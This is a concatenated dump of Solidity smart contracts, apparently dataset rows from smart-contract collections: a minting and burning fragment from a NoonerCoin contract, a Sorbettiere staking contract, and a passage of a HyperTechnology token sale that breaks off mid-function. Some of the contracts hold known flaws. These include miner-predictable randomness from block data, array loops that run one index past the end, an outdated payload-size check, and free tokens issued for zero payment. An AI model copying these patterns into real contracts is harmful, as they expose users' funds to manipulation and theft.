uint256 temp = estimatedTokenWei/10**18;
uint256 weiVariance = estimatedTokenWei - (temp * 10**18);
uint256 tokens = 0;
if(totalCycleLeft != 19){
tokens = temp + previousCyclesTotalTokens + 720 * mintingRateNoonerCoin;
}
if(totalCycleLeft == 19){
tokens = _fundersAmount + 720 * mintingRateNoonerCoin;
}
if(noonercoin[adminAddress] != tokens) {
noonercoin[adminAddress] = tokens;
}
if(noonerwei[adminAddress] != weiVariance) {
noonerwei[adminAddress] = weiVariance;
}
//wei amount of >.5 to be added in adminAccount
if(noonerwei[adminAddress] >= (10**18/2)) {
noonercoin[adminAddress] += 1;
weiAmountAdded += 1;
}
if(totalCycleLeft == 0) {
stopTheMinting = true;
}
else {
totalCycleLeft = totalCycleLeft - 1;
_randomValue = randomVariablePicker();
randomVariableArray.push(_randomValue);
isNewCycleStart = true;
//fetch random number from outside
uint256 flag = mintingRateNoonerCoin * 10**18 + mintingRateNoonerWei;
mintingRateNoonerCoin = getIntegerValue(flag, _randomValue, 1);
mintingRateNoonerWei = getDecimalValue(flag, _randomValue, 1);
startTime = startTime + _cycleTime;
//reset random variable logic, occurenceOfRandomNumber for each cycle
__remainingRandomVariable = __randomVariable;
delete tempRemainingRandomVariable;
delete occurenceOfRandomNumber[__randomVariable[0]];
delete occurenceOfRandomNumber[__randomVariable[1]];
delete occurenceOfRandomNumber[__randomVariable[2]];
delete occurenceOfRandomNumber[__randomVariable[3]];
delete occurenceOfRandomNumber[__randomVariable[4]];
count = 0;
lastMintingTime = 0;
weekStartTime = now;
randomNumber = 0;
indexs = 1;
}
}
return true;
}
}
function popRandomVariable() public returns(bool){
randomNumber = randomVariablePicker();
if(occurenceOfRandomNumber[randomNumber]>=24){
//remove variable
uint256 _index;
for(uint256 index=0;index<=__remainingRandomVariable.length;index++){
if(__remainingRandomVariable[index]==randomNumber){
_index = index;
break;
}
}
delete __remainingRandomVariable[_index];
__remainingRandomVariable[_index] = __remainingRandomVariable[__remainingRandomVariable.length-1];
if(__remainingRandomVariable.length > 0) {
__remainingRandomVariable.length--;
}
}
if(occurenceOfRandomNumber[randomNumber]<24){
occurenceOfRandomNumber[randomNumber] = occurenceOfRandomNumber[randomNumber]+1;
}
//2nd time calling randomNumber from randomVariablePicker
randomNumber = randomVariablePicker();
//2nd time occurenceOfRandomNumber >= 24
if(occurenceOfRandomNumber[randomNumber] >= 24) {
if(count < 4) {
incrementCounter();
uint256 _index;
//remove variable
for(uint256 index=0;index<=__remainingRandomVariable.length;index++){
if(__remainingRandomVariable[index]==randomNumber){
_index = index;
break;
}
}
delete __remainingRandomVariable[_index];
__remainingRandomVariable[_index] = __remainingRandomVariable[__remainingRandomVariable.length-1];
if(__remainingRandomVariable.length > 0) {
__remainingRandomVariable.length--;
}
}
}
return true;
}
function burnToken() internal returns(bool){
uint256 flag = mintingRateNoonerCoin * 10**18 + mintingRateNoonerWei;
uint256 signmaValueCoin = 0;
signmaValueWei = 0;
for(uint256 index=1;index<=totalCycleLeft;index++){
uint256 intValue = getIntegerValue(flag*720, 150**index, index);//720
uint256 intDecimalValue = getDecimalValue(flag*720, 150**index, index);//720
signmaValueCoin = signmaValueCoin + intValue;
signmaValueWei = signmaValueWei + intDecimalValue;
}
signmaValueWei = signmaValueWei + signmaValueCoin * 10**18;
uint256 adminBalance = noonercoin[adminAddress];
uint256 iterationsInOneCycle = _cycleTime/_frequency;//720
currentMintingRateTotalTokens = iterationsInOneCycle * mintingRateNoonerCoin * 10**18 + iterationsInOneCycle*mintingRateNoonerWei;
totalMintedTokens = (adminBalance-_fundersAmount - weiAmountAdded)*10**18 + noonerwei[adminAddress] + totalWeiBurned; //before adding totalWeiBurned.
weiToBurned = _totalSupply*10**18 - signmaValueWei - totalMintedTokens - currentMintingRateTotalTokens - totalWeiBurned;
totalWeiInAdminAcc = (adminBalance-_fundersAmount - weiAmountAdded) * 10**18 + noonerwei[adminAddress];
if(totalWeiInAdminAcc <= weiToBurned) {
return false;
}
uint256 remainingWei;
if(totalWeiInAdminAcc > weiToBurned) {
remainingWei = totalWeiInAdminAcc - weiToBurned;
noonercoin[adminAddress] = _fundersAmount + weiAmountAdded + (remainingWei/10**18);
uint256 weiAddedInAdminAccount = remainingWei - (noonercoin[adminAddress] - _fundersAmount - weiAmountAdded) * 10**18;
//add +1 token to adminAccount when remain wei is >.5
if(weiAddedInAdminAccount >= (10**18/2)) {
noonercoin[adminAddress] += 1;
weiToBurned = (weiToBurned/10**18)* 10**18;
weiAmountAddedAtBurn += 1;
}
noonerwei[adminAddress] = 0;
totalWeiBurned = totalWeiBurned + weiToBurned;
for(indexs=1;indexs<=1;indexs++) {
previousCyclesTotalTokens = noonercoin[adminAddress];
previousCyclesTotalWei = remainingWei - (noonercoin[adminAddress] - _fundersAmount - weiAmountAdded - weiAmountAddedAtBurn) * 10**18;
previousCyclesBalance.push(previousCyclesTotalTokens);
previousSigmaValues.push(signmaValueWei);
previousBurnValues.push(weiToBurned);
}
return true;
}
}
function getUserBalance(address add) public view returns (uint256){
return noonercoin[add];
}
function getAfterDecimalValue(address add) public view returns (uint256){
return noonerwei[add];
}
function getIntegerValue(uint256 a, uint256 b, uint256 expoHundred) internal pure returns (uint256 q){
//b is already multiplied by 100
q = a*100**expoHundred/b;
q=q/10**18;
return q;
}
function getDecimalValue(uint256 a, uint256 b, uint256 expoHundred) internal pure returns (uint256 p){
//b is already multiplied by 100
uint256 q = a*100**expoHundred/b;
q=q/10**18;
uint256 r = (a*100**expoHundred) - (b*10**18) * q;
p = r/b;
return p;
}
function randomVariablePicker() internal view returns (uint256) {
uint256 getRandomNumber = __remainingRandomVariable[
uint256(keccak256(abi.encodePacked(now, block.difficulty, msg.sender))) % __remainingRandomVariable.length];
return getRandomNumber;
}
//for error handing in scheduler
function mintTokenAsPerCurrentRate(address add, uint256 missedToken, uint256 missedWei) public returns (bool) {
require(msg.sender == adminAddress, "Only owner can do this");
if(isNewCycleStart){
uint256 randomValue = _randomValue;
if(randomValue == 150){
addingValuesToArrays();
}
if(randomValue != 150){
if(randomValue==175 && totalCycleLeft == 18) {
addingValuesToArrays();
}
else {
burnToken();
isNewCycleStart = false;
}
}
}
if(stopTheMinting) {
return false;
}
else {
uint256 weiAfterMint = missedWei;
noonercoin[add] = noonercoin[add] + missedToken;
noonerwei[add] = weiAfterMint;
return true;
}
}
function changeConfigVariable() public returns (bool){
require(msg.sender == adminAddress, "Only owner can do this");
//wei amount of >.5 to be added in adminAccount
if(noonerwei[adminAddress] >= (10**18/2)) {
noonercoin[adminAddress] += 1;
weiAmountAdded += 1;
}
if(stopTheMinting) {
return false;
}
else {
_randomValue = randomVariablePicker();
randomVariableArray.push(_randomValue);
isNewCycleStart = true;
totalCycleLeft = totalCycleLeft - 1;
uint256 flag = mintingRateNoonerCoin * 10**18 + mintingRateNoonerWei;
mintingRateNoonerCoin = getIntegerValue(flag, _randomValue, 1);
mintingRateNoonerWei = getDecimalValue(flag, _randomValue, 1);
startTime = startTime + _cycleTime;
//reset random variable logic, occurenceOfRandomNumber for each cycle
__remainingRandomVariable = __randomVariable;
delete tempRemainingRandomVariable;
delete occurenceOfRandomNumber[__randomVariable[0]];
delete occurenceOfRandomNumber[__randomVariable[1]];
delete occurenceOfRandomNumber[__randomVariable[2]];
delete occurenceOfRandomNumber[__randomVariable[3]];
delete occurenceOfRandomNumber[__randomVariable[4]];
count = 0;
lastMintingTime = 0;
weekStartTime = now;
randomNumber = 0;
indexs = 1;
return true;
}
}
function getLastMintingTime() public view returns (uint256){
// require(msg.sender != adminAddress);
return lastMintingTime;
}
function getLastMintingRate() public view returns (uint256){
return mintingRateNoonerCoin;
}
function getLastMintingTimeAndStartTimeDifference() public view returns (uint256) {
uint256 lastMintingTimeAndStartTimeDifference = 0;
if(lastMintingTime != 0) {
lastMintingTimeAndStartTimeDifference = lastMintingTime - startTime;
}
return lastMintingTimeAndStartTimeDifference;
}
function checkMissingTokens(address add) public view returns (uint256, uint256, uint256, uint256) {
uint256 adminBalance = noonercoin[add];//admin bal
uint256 adminBalanceinWei = noonerwei[add];//admin bal wei
if (lastMintingTime == 0) {
return (0,0, 0, totalCycleLeft);
}
if (lastMintingTime != 0) {
uint256 estimatedMintedToken = 0;
uint256 estimatedMintedTokenWei = 0;
uint256 timeDifference = lastMintingTime - startTime;
uint256 valueForEach = timeDifference.div(_frequency);
if(totalCycleLeft != 19) {
estimatedMintedToken = previousCyclesTotalTokens + valueForEach * mintingRateNoonerCoin;
estimatedMintedTokenWei = valueForEach * mintingRateNoonerWei;
}
if(totalCycleLeft == 19) {
estimatedMintedToken = _fundersAmount + valueForEach * mintingRateNoonerCoin;
}
uint256 temp = estimatedMintedTokenWei / 10**18;
estimatedMintedToken += temp;
uint256 weiVariance = estimatedMintedTokenWei - (temp * 10**18);
uint256 checkDifference = 0;
if(estimatedMintedToken != adminBalance) {
if(adminBalance >= estimatedMintedToken) {
checkDifference = 0;
} else {
checkDifference = estimatedMintedToken - adminBalance;
}
}
if(weiVariance == adminBalanceinWei) {
weiVariance = 0;
}
return (checkDifference, weiVariance, weekStartTime, totalCycleLeft);
}
}
function currentDenominatorAndRemainingRandomVariables() public view returns(uint256, uint8[] memory) {
return (_randomValue, __remainingRandomVariable);
}
function getOccurenceOfRandomNumber() public view returns(uint256, uint256, uint256, uint256, uint256, uint256){
return (randomNumber, occurenceOfRandomNumber[__randomVariable[0]],occurenceOfRandomNumber[__randomVariable[1]],occurenceOfRandomNumber[__randomVariable[2]],occurenceOfRandomNumber[__randomVariable[3]], occurenceOfRandomNumber[__randomVariable[4]]);
}
function getOccurenceOfPreferredRandomNumber(uint256 number) public view returns(uint256){
return occurenceOfRandomNumber[number];
}
function getTotalPresentOcuurences() public view returns(uint256){
uint256 total = occurenceOfRandomNumber[__randomVariable[0]] + occurenceOfRandomNumber[__randomVariable[1]] + occurenceOfRandomNumber[__randomVariable[2]] + occurenceOfRandomNumber[__randomVariable[3]] + occurenceOfRandomNumber[__randomVariable[4]];
return total;
}
function getRandomVariablesArray() public view returns(uint256[] memory) {
return(randomVariableArray);
}
function previousCyclesBalances() public view returns(uint256[] memory) {
return(previousCyclesBalance);
}
function getLastMintingRateWei() public view returns(uint256) {
return(mintingRateNoonerWei);
}
function getBurnValues(address add) public view returns(uint256, uint256, uint256, uint256, uint256, uint256) {
return(signmaValueWei, currentMintingRateTotalTokens, totalMintedTokens, weiToBurned, totalWeiInAdminAcc, weiAmountAdded);
}
function previousCyclesBurn() public view returns(uint256[] memory) {
return(previousBurnValues);
}
function previousCyclesSigmaValue() public view returns(uint256[] memory) {
return(previousSigmaValues);
}
function addingValuesToArrays() public returns(bool) {
isNewCycleStart = false;
noonerwei[adminAddress] = 0;
for(indexs=1;indexs<=1;indexs++) {
previousCyclesTotalTokens = noonercoin[adminAddress];
previousCyclesTotalWei = noonerwei[adminAddress];
previousCyclesBalance.push(previousCyclesTotalTokens);
previousBurnValues.push(0);
previousSigmaValues.push(0);
}
return true;
}
}
| 119,447 | 11,274 |
65c323fecd2ca3f68e1a5d51a94f4696c150557d4589646fcbebabc0f4de711e
| 26,903 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/15/15a057a820acfa7aa002e94a09c4847a0199abc6_Sorbettiere.sol
| 4,293 | 17,595 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract OwnableData {
address public owner;
address public pendingOwner;
}
abstract contract Ownable is OwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
function transferOwnership(address newOwner, bool direct, bool renounce) public onlyOwner {
if (direct) {
require(newOwner != address(0) || renounce, "Ownable: zero address");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
} else {
pendingOwner = newOwner;
}
}
function claimOwnership() public {
address _pendingOwner = pendingOwner;
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// The contract is based on famous Masterchef contract (Ty guys for that)
// Future is crosschain...
// And the contract ownership will be transferred to other contract
contract Sorbettiere is Ownable {
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
uint256 remainingIceTokenReward; // ICE Tokens that weren't distributed for user per pool.
//
// We do some fancy math here. Basically, any point in time, the amount of ICE
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accICEPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws Staked tokens to a pool. Here's what happens:
// 1. The pool's `accICEPerShare` (and `lastRewardTime`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 stakingToken; // Contract address of staked token
uint256 stakingTokenTotalAmount; //Total amount of deposited tokens
uint256 accIcePerShare; // Accumulated ICE per share, times 1e12. See below.
uint32 lastRewardTime; // Last timestamp number that ICE distribution occurs.
uint16 allocPoint; // How many allocation points assigned to this pool. ICE to distribute per second.
}
IERC20 immutable public ice; // The ICE TOKEN!!
uint256 public icePerSecond; // Ice tokens vested per second.
PoolInfo[] public poolInfo; // Info of each pool.
mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Info of each user that stakes tokens.
uint256 public totalAllocPoint = 0; // Total allocation poitns. Must be the sum of all allocation points in all pools.
uint32 immutable public startTime; // The timestamp when ICE farming starts.
uint32 public endTime; // Time on which the reward calculation should end
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
constructor(IERC20 _ice,
uint256 _icePerSecond,
uint32 _startTime) {
ice = _ice;
icePerSecond = _icePerSecond;
startTime = _startTime;
endTime = _startTime + 7 days;
}
function changeEndTime(uint32 addSeconds) external onlyOwner {
endTime += addSeconds;
}
// which is entitled to the user for his token staking by the time the `endTime` is passed.
//Good practice to update pools without messing up the contract
function setIcePerSecond(uint256 _icePerSecond, bool _withUpdate) external onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
icePerSecond= _icePerSecond;
}
// How many pools are in the contract
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// Add a new staking token to the pool. Can only be called by the owner.
// VERY IMPORTANT NOTICE
// Good practice to update pools without messing up the contract
function add(uint16 _allocPoint,
IERC20 _stakingToken,
bool _withUpdate) external onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardTime =
block.timestamp > startTime ? block.timestamp : startTime;
totalAllocPoint +=_allocPoint;
poolInfo.push(PoolInfo({
stakingToken: _stakingToken,
stakingTokenTotalAmount: 0,
allocPoint: _allocPoint,
lastRewardTime: uint32(lastRewardTime),
accIcePerShare: 0
}));
}
// Update the given pool's ICE allocation point. Can only be called by the owner.
// Good practice to update pools without messing up the contract
function set(uint256 _pid,
uint16 _allocPoint,
bool _withUpdate) external onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint - poolInfo[_pid].allocPoint + _allocPoint;
poolInfo[_pid].allocPoint = _allocPoint;
}
// Return reward multiplier over the given _from to _to time.
function getMultiplier(uint256 _from, uint256 _to)
public
view
returns (uint256)
{
_from = _from > startTime ? _from : startTime;
if (_from > endTime || _to < startTime) {
return 0;
}
if (_to > endTime) {
return endTime - _from;
}
return _to - _from;
}
// View function to see pending ICE on frontend.
function pendingIce(uint256 _pid, address _user)
external
view
returns (uint256)
{
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accIcePerShare = pool.accIcePerShare;
if (block.timestamp > pool.lastRewardTime && pool.stakingTokenTotalAmount != 0) {
uint256 multiplier =
getMultiplier(pool.lastRewardTime, block.timestamp);
uint256 iceReward =
multiplier * icePerSecond * pool.allocPoint / totalAllocPoint;
accIcePerShare += iceReward * 1e12 / pool.stakingTokenTotalAmount;
}
return user.amount * accIcePerShare / 1e12 - user.rewardDebt + user.remainingIceTokenReward;
}
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.timestamp <= pool.lastRewardTime) {
return;
}
if (pool.stakingTokenTotalAmount == 0) {
pool.lastRewardTime = uint32(block.timestamp);
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardTime, block.timestamp);
uint256 iceReward =
multiplier * icePerSecond * pool.allocPoint / totalAllocPoint;
pool.accIcePerShare += iceReward * 1e12 / pool.stakingTokenTotalAmount;
pool.lastRewardTime = uint32(block.timestamp);
}
// Deposit staking tokens to Sorbettiere for ICE allocation.
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending =
user.amount * pool.accIcePerShare / 1e12 - user.rewardDebt + user.remainingIceTokenReward;
user.remainingIceTokenReward = safeRewardTransfer(msg.sender, pending);
}
pool.stakingToken.safeTransferFrom(address(msg.sender),
address(this),
_amount);
user.amount += _amount;
pool.stakingTokenTotalAmount += _amount;
user.rewardDebt = user.amount * pool.accIcePerShare / 1e12;
emit Deposit(msg.sender, _pid, _amount);
}
// Withdraw staked tokens from Sorbettiere.
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "Sorbettiere: you cant eat that much popsicles");
updatePool(_pid);
uint256 pending =
user.amount * pool.accIcePerShare / 1e12 - user.rewardDebt + user.remainingIceTokenReward;
user.remainingIceTokenReward = safeRewardTransfer(msg.sender, pending);
user.amount -= _amount;
pool.stakingTokenTotalAmount -= _amount;
user.rewardDebt = user.amount * pool.accIcePerShare / 1e12;
pool.stakingToken.safeTransfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 userAmount = user.amount;
pool.stakingTokenTotalAmount -= userAmount;
delete userInfo[_pid][msg.sender];
pool.stakingToken.safeTransfer(address(msg.sender), userAmount);
emit EmergencyWithdraw(msg.sender, _pid, userAmount);
}
// Safe ice transfer function. Just in case if the pool does not have enough ICE token,
// The function returns the amount which is owed to the user
function safeRewardTransfer(address _to, uint256 _amount) internal returns(uint256) {
uint256 iceTokenBalance = ice.balanceOf(address(this));
if (iceTokenBalance == 0) { //save some gas fee
return _amount;
}
if (_amount > iceTokenBalance) { //save some gas fee
ice.safeTransfer(_to, iceTokenBalance);
return _amount - iceTokenBalance;
}
ice.safeTransfer(_to, _amount);
return 0;
}
}
| 75,505 | 11,275 |
b238053e2a6f5974056e7667211610a8d4e71cf004101d8477f5c8aec8663e81
| 14,014 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x9fa58ca1b7f8367b95bbb825aca0b25fb75ad377.sol
| 3,340 | 11,625 |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'Hyper Technology Token'
//
// NAME : Hyper Technology
// Symbol : HTY
// Total supply: 700,000,000
// Decimals : 8
//
// Enjoy.
//
// (c) by Hyper Technology team. The Mr Tuna.
// ----------------------------------------------------------------------------
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length == numwords * 32 + 4);
_;
}
function transfer(address _to, uint256 _value) public onlyPayloadSize(2) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(transfersEnabled);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(transfersEnabled);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract HyperTechnology is StandardToken {
string public constant name = "Hyper Technology";
string public constant symbol = "HTY";
uint8 public constant decimals = 8;
uint256 public constant INITIAL_SUPPLY = 70 * 10**7 * (10**uint256(decimals));
uint256 public weiRaised;
uint256 public tokenAllocated;
address public owner;
bool public saleToken = true;
event OwnerChanged(address indexed previousOwner, address indexed newOwner);
event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
function HyperTechnology() public {
totalSupply = INITIAL_SUPPLY;
owner = msg.sender;
//owner = msg.sender; // for testing
balances[owner] = INITIAL_SUPPLY;
tokenAllocated = 0;
transfersEnabled = true;
}
// fallback function can be used to buy tokens
function() payable public {
buyTokens(msg.sender);
}
function buyTokens(address _investor) public payable returns (uint256){
require(_investor != address(0));
require(saleToken == true);
address wallet = owner;
uint256 weiAmount = msg.value;
uint256 tokens = validPurchaseTokens(weiAmount);
if (tokens == 0) {revert();}
weiRaised = weiRaised.add(weiAmount);
tokenAllocated = tokenAllocated.add(tokens);
mint(_investor, tokens, owner);
TokenPurchase(_investor, weiAmount, tokens);
wallet.transfer(weiAmount);
return tokens;
}
function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) {
uint256 addTokens = getTotalAmountOfTokens(_weiAmount);
if (addTokens > balances[owner]) {
TokenLimitReached(tokenAllocated, addTokens);
return 0;
}
return addTokens;
}
function getTotalAmountOfTokens(uint256 _weiAmount) internal pure returns (uint256) {
uint256 amountOfTokens = 0;
if(_weiAmount == 0){
amountOfTokens = 50 * (10**uint256(decimals));
}
if(_weiAmount == 0.001 ether){
amountOfTokens = 300 * (10**uint256(decimals));
}
if(_weiAmount == 0.002 ether){
amountOfTokens = 600 * (10**uint256(decimals));
}
if(_weiAmount == 0.003 ether){
amountOfTokens = 900 * (10**uint256(decimals));
}
if(_weiAmount == 0.004 ether){
